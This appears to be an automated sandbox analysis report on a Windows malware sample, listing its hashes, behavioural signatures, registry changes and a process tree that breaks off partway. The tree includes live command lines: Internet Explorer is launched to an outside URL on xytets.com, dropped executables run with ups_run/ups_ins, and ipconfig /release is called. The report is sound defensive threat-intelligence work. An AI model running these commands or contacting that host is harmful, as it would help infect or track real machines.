9c4560bc7847f5ff62cbeaf74b9f53ea520ad6d2e7c1a1c3e172d2bf562f5d7d

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/05/2026, 08:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe
Size 243KB
Sample260528-kfcbyact6s
SHA256 9c4560bc7847f5ff62cbeaf74b9f53ea520ad6d2e7c1a1c3e172d2bf562f5d7d
MD5 8422a2c1b732ab2552e6f805e257ccfe
SHA1 37a28bf64dc75e49af3d144d1280d9e730d08128
SHA512 6ed5af43488561b61c054a79d830aba9c2da18b18c956f31c37e581527a871ee326dfa95c8481c4d4c7b0914420071a1133fe6c586f8d4f4b537e1060f4a413b
SSDEEP 3072:2CvMsLLOJhH7yBa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA70:ZvMsLaOa3lLNngoqRttA70
TLSH
T1B7345A017281C031E7160B78045AE7A1467EBC384BA5E5CFF7A83B796A712D3A93725F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
2704	CP.exe
3884	kezxrpjhcz.exe
4444	CP.exe
2544	CP.exe
3612	i_kezxrpjhcz.exe
3788	uomgezwrpj.sys
412	CP.exe
4180	mhbzmjecwu.exe
2532	CP.exe
3764	CP.exe
2268	i_mhbzmjecwu.exe
4184	geywrojgbz.sys
4188	CP.exe
2024	bztrljebwu.exe
748	CP.exe
3656	CP.exe
2096	i_bztrljebwu.exe
4052	gbztrljdbw.sys
4880	CP.exe
3108	tolgeywqoi.exe
3468	CP.exe
4332	CP.exe
1856	i_tolgeywqoi.exe
1628	sqlidbvtnl.sys
2128	CP.exe
4856	ljdbvtnlgd.exe
4972	CP.exe
3484	CP.exe
4304	i_ljdbvtnlgd.exe
2676	tnigaysqli.sys
4720	CP.exe
4164	avsnlfdxvq.exe
1644	CP.exe
3948	CP.exe
4428	i_avsnlfdxvq.exe
864	kidavsnlfd.sys
1936	CP.exe
4236	dxvpnifays.exe
4192	CP.exe
2332	CP.exe
4456	i_dxvpnifays.exe
3308	cxvpnhfzxs.sys
2604	CP.exe
4176	spkhcausmh.exe
2676	CP.exe
3356	CP.exe
4960	i_spkhcausmh.exe
1840	camkecxupn.sys
2572	CP.exe
4148	mhfzxrpjhc.exe
4012	CP.exe
5104	CP.exe
2288	i_mhfzxrpjhc.exe
4056	zurmkecwuo.sys
4688	CP.exe
2620	secwuomhez.exe
4908	CP.exe
1152	CP.exe
3392	i_secwuomhez.exe
1056	rojhbztrmj.sys
2264	CP.exe
2136	jebwuomgey.exe
1824	CP.exe
828	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwtomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwtomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtolgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dyvqoiytnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpjhu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkhcausmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtolgdywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vsnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kecwupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hezwrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_secwuomhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxvpnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hezwrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kezxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	secwuomhez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jebwuomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrpjhu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrljdbwt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhbzmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhbzmjecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywqoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dyvqoiytnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vsnlfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecwupmhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kezxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkhcausmh.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
216	ipconfig.exe
4560	ipconfig.exe
3340	ipconfig.exe
1820	ipconfig.exe
3796	ipconfig.exe
1816	ipconfig.exe
1544	ipconfig.exe
568	ipconfig.exe
4768	ipconfig.exe
2344	ipconfig.exe
4140	ipconfig.exe
1916	ipconfig.exe
4812	ipconfig.exe
556	ipconfig.exe
4268	ipconfig.exe
4964	ipconfig.exe
880	ipconfig.exe
4960	ipconfig.exe
1684	ipconfig.exe
3008	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{B9649678-5A6F-11F1-B995-5AB93EA64185} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a03551f084eedc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31256188"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000aa1a7503faf3b6479abc0c68cea414fb00000000020000000000106600000001000020000000357768d04cec68102051ef2232a732c85f0a009fa99d787933f6dc0c3f49ca7f000000000e8000000002000020000000f2ec60ab4421a42cd29c145e729f3154c5e334177b1a2e769baf291677d6417220000000abbe464e3caea5d17b2a6b952d5d68af4899fa1a9c67bc811e1c60ba1ab7ccf940000000d111dbb1c19787202e85315675f7581151665d4fc4fcc5f240e97d77fcd47bcb74a1596160547561a1285626b63290640bfd8978ff5bcc02cfcecb638d8008fd	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2602378608"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "486722107"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000aa1a7503faf3b6479abc0c68cea414fb000000000200000000001066000000010000200000007a3cdf7060fe0d3f92d1264f024a6eafd6429dd246b3e2444e0fda4b3bbfbfad000000000e8000000002000020000000dba8643645bc7a6f230557014619bbe02d071908a94b7b6c34d4f406e7188acb20000000277e05bd91433c8a2375894cd107cd9f40d98a6312a77089ef2d8b5dd4ac02a740000000220743e656ed646d905ee0bdff6ddd9dee403b5205ff5ecad3aea03083ce96e3d47a71afcb0b627821d6b33b72775f497456b866068169283c91addeec7599c2	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0ac34f084eedc01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	3612	i_kezxrpjhcz.exe
Token: SeDebugPrivilege	2268	i_mhbzmjecwu.exe
Token: SeDebugPrivilege	2096	i_bztrljebwu.exe
Token: SeDebugPrivilege	1856	i_tolgeywqoi.exe
Token: SeDebugPrivilege	4304	i_ljdbvtnlgd.exe
Token: SeDebugPrivilege	4428	i_avsnlfdxvq.exe
Token: SeDebugPrivilege	4456	i_dxvpnifays.exe
Token: SeDebugPrivilege	4960	i_spkhcausmh.exe
Token: SeDebugPrivilege	2288	i_mhfzxrpjhc.exe
Token: SeDebugPrivilege	3392	i_secwuomhez.exe
Token: SeDebugPrivilege	5108	i_jebwuomgey.exe
Token: SeDebugPrivilege	3684	i_ebwtomgeyw.exe
Token: SeDebugPrivilege	1708	i_bvtolgdywq.exe
Token: SeDebugPrivilege	2956	i_dyvqoiytnl.exe
Token: SeDebugPrivilege	4136	i_vsnlfdxvpn.exe
Token: SeDebugPrivilege	3176	i_mkfcxvpnhf.exe
Token: SeDebugPrivilege	1112	i_kecwupmhfz.exe
Token: SeDebugPrivilege	4056	i_mhfzxrpjhu.exe
Token: SeDebugPrivilege	4196	i_hezwrpjhbz.exe
Token: SeDebugPrivilege	668	i_bztrljdbwt.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2996	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2996	iexplore.exe
2996	iexplore.exe
2564	IEXPLORE.EXE
2564	IEXPLORE.EXE
2564	IEXPLORE.EXE
2564	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 2996	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	85
PID 2996 wrote to memory of 2564	2996	iexplore.exe	86
PID 552 wrote to memory of 2704	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	92
PID 3884 wrote to memory of 4444	3884	kezxrpjhcz.exe	95
PID 552 wrote to memory of 2544	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	101
PID 552 wrote to memory of 412	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	108
PID 4180 wrote to memory of 2532	4180	mhbzmjecwu.exe	110
PID 552 wrote to memory of 3764	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	113
PID 552 wrote to memory of 4188	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	119
PID 2024 wrote to memory of 748	2024	bztrljebwu.exe	121
PID 552 wrote to memory of 3656	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	124
PID 552 wrote to memory of 4880	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	131
PID 3108 wrote to memory of 3468	3108	tolgeywqoi.exe	133
PID 552 wrote to memory of 4332	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	136
PID 552 wrote to memory of 2128	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	141
PID 4856 wrote to memory of 4972	4856	ljdbvtnlgd.exe	143
PID 552 wrote to memory of 3484	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	146
PID 552 wrote to memory of 4720	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	151
PID 4164 wrote to memory of 1644	4164	avsnlfdxvq.exe	153
PID 552 wrote to memory of 3948	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	156
PID 552 wrote to memory of 1936	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	160
PID 4236 wrote to memory of 4192	4236	dxvpnifays.exe	162
PID 552 wrote to memory of 2332	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	165
PID 552 wrote to memory of 2604	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	169
PID 4176 wrote to memory of 2676	4176	spkhcausmh.exe	171
PID 552 wrote to memory of 3356	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	174
PID 552 wrote to memory of 2572	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	178
PID 4148 wrote to memory of 4012	4148	mhfzxrpjhc.exe	180
PID 552 wrote to memory of 5104	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	183
PID 552 wrote to memory of 4688	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	187
PID 2620 wrote to memory of 4908	2620	secwuomhez.exe	189
PID 552 wrote to memory of 1152	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	192
PID 552 wrote to memory of 2264	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	199
PID 2136 wrote to memory of 1824	2136	jebwuomgey.exe	201
PID 552 wrote to memory of 828	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	204
PID 552 wrote to memory of 4452	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	208
PID 804 wrote to memory of 2932	804	ebwtomgeyw.exe	210
PID 552 wrote to memory of 4232	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	213
PID 552 wrote to memory of 1084	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	217
PID 4616 wrote to memory of 3264	4616	bvtolgdywq.exe	219
PID 552 wrote to memory of 3692	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	222
PID 552 wrote to memory of 4756	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	226
PID 1956 wrote to memory of 2744	1956	dyvqoiytnl.exe	228
PID 552 wrote to memory of 4608	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	231
PID 552 wrote to memory of 640	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	235
PID 1512 wrote to memory of 956	1512	vsnlfdxvpn.exe	237
PID 552 wrote to memory of 2004	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	240
PID 552 wrote to memory of 1648	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	244
PID 2516 wrote to memory of 4868	2516	mkfcxvpnhf.exe	246
PID 552 wrote to memory of 2160	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	250
PID 552 wrote to memory of 1148	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	254
PID 1828 wrote to memory of 3504	1828	kecwupmhfz.exe	256
PID 552 wrote to memory of 1552	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	259
PID 552 wrote to memory of 556	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	263
PID 2956 wrote to memory of 2692	2956	mhfzxrpjhu.exe	265
PID 552 wrote to memory of 3752	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	268
PID 552 wrote to memory of 4516	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	272
PID 1764 wrote to memory of 4644	1764	hezwrpjhbz.exe	274
PID 552 wrote to memory of 2164	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	277
PID 552 wrote to memory of 3776	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	281
PID 2212 wrote to memory of 744	2212	bztrljdbwt.exe	283
PID 552 wrote to memory of 4208	552	2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe	286

C:\Users\Admin\AppData\Local\Temp\2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-28_8422a2c1b732ab2552e6f805e257ccfe_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:552
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2996 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2564
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kezxrpjhcz.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2704
- - C:\Temp\kezxrpjhcz.exe
    C:\Temp\kezxrpjhcz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3884
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4444
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kezxrpjhcz.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2544
- - C:\Temp\i_kezxrpjhcz.exe
    C:\Temp\i_kezxrpjhcz.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\mhbzmjecwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:412
- - C:\Temp\mhbzmjecwu.exe
    C:\Temp\mhbzmjecwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2532
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_mhbzmjecwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3764
- - C:\Temp\i_mhbzmjecwu.exe
    C:\Temp\i_mhbzmjecwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bztrljebwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4188
- - C:\Temp\bztrljebwu.exe
    C:\Temp\bztrljebwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:748
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1816
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bztrljebwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3656
- - C:\Temp\i_bztrljebwu.exe
    C:\Temp\i_bztrljebwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tolgeywqoi.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4880
- - C:\Temp\tolgeywqoi.exe
    C:\Temp\tolgeywqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3468
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tolgeywqoi.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4332
- - C:\Temp\i_tolgeywqoi.exe
    C:\Temp\i_tolgeywqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ljdbvtnlgd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2128
- - C:\Temp\ljdbvtnlgd.exe
    C:\Temp\ljdbvtnlgd.exe ups_run
    3⤵
    - Executes dropped EXE
